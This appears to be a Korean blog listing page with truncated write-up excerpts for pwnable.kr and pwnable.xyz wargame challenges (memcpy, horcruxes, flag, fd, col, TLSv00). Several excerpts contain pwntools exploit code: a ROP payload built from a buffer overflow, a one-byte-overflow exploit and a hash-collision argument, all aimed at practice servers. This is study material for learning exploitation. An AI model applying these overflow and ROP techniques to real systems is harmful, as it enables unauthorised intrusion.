전체 글 326

pwnable.kr - [Toddler's Bottle] memcpy

// compiled with : gcc -o memcpy memcpy.c -m32 -lm (32bit, math 관련 라이브러리) #include #include #include #include #include #include #include unsigned long long rdtsc(){ // time stamp counter를 가져오는 명령어 asm("rdtsc"); } char* slow_memcpy(char* dest, const char* src, size_t len){ int i; for (i=0; i= 64){ i = len / 64; len &= (64-1); while(i-- > 0){ __asm__ __volatile__ ( // movdqa 메모리 xxm : 메모리에 있는 16B ..

pwnable.kr - [Toddler's Bottle] horcruxes

from pwn import * p = remote("pwnable.kr", 9032) p.recvuntil("Select Menu:") p.sendline("0") p.recvuntil("How many EXP did you earned? : ") payload = b'A'*0x74+b'A'*0x4 # A(), B(), C(), D(), E() 호출 payload += p32(0x809fe4b)+p32(0x809fe6a)+p32(0x809fe89)+p32(0x809fea8)+p32(0x809fec7) # F(), G(), ropme() 호출 (ropme는 main에서 call ropme 하는 주소 하니까 되네?) # 0x080a0009 vs 0x0809fffc payload += p32(0x809fee..

pwnable.kr - [Toddler's Bottle] flag

- wget http://pwnable.kr/bin/flag 통해서 다운로드 받는다 cf) 뒤에 -no-check-certificate 붙이면 신뢰할 수 없는 사이트도 ㄱㅊ - file ./flag 해보면 얻을 수 있는 정보 ㄴ ELF 64bit LSB executable ㄴ statically linked, stripped - chmod +x ./flag 하고 실행시켜봤더니 (rw-rw-r--였음) I will malloc() and strcpy the flag there. take it. !! - stripped file이어서 symbol table 등등 실행시 불필요한 내용 삭제 - disas main 해도 symbol table 없어서 정보 못얻음 > b *0x0 한다음 r해서 실행시키고, vmm..

pwnable.kr - [Toddler's Bottle] fd

from pwn import * ''' 이런 식으로 원격접속하거나 p = ssh(user="mistake",host="pwnable.kr", port=2222,password="guest") p1 = p.process(executable="/home/mistake/mistake") 이후 p1 사용 ''' ''' 이런 식으로도 하거나 readme에 connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege. 이런식으로 써져있어서 s = ssh(user='horcruxes',host='pwnable.kr',port=2222,password='guest') p = s.remote("1..

pwnable.xyz - TLSv00

from pwn import * p = remote("svc.pwnable.xyz", 30006) # p = process("./challenge") # gdb.attach(p) # pause() # read_int32()에서 입력값의 마지막 바이트 null로 변환하므로 sendline() p.sendlineafter("> ", "3") p.recvline() p.sendafter("instead? ", "y") p.sendafter("comment: ", "minseo") # do_comment 1byte overflow(\x00), real_print_flag()를 가리킨다 p.sendlineafter("> ", "1") p.sendlineafter("len: ", "64") # char key[64..

pwnable.kr - [Toddler's Bottle] col

from pwn import * s = ssh(user="col", host="pwnable.kr", port=2222, password="guest") argv1 = ["" for i in range(2)] argv1[1] = p32(0x6c5cec8) * 4 + p32(0x6c5cecc) ''' 비효율적이지만 little endian으로 한 바이트씩 argv1[1] = (chr(int(0xc8))+chr(int(0xce))+chr(int(0xc5))+chr(int(0x6)))*4 argv1[1] += (chr(int(0xcc))+chr(int(0xce))+chr(int(0xc5))+chr(int(0x6))) ''' p = s.process(executable="/home/col/col", argv=a..

반응형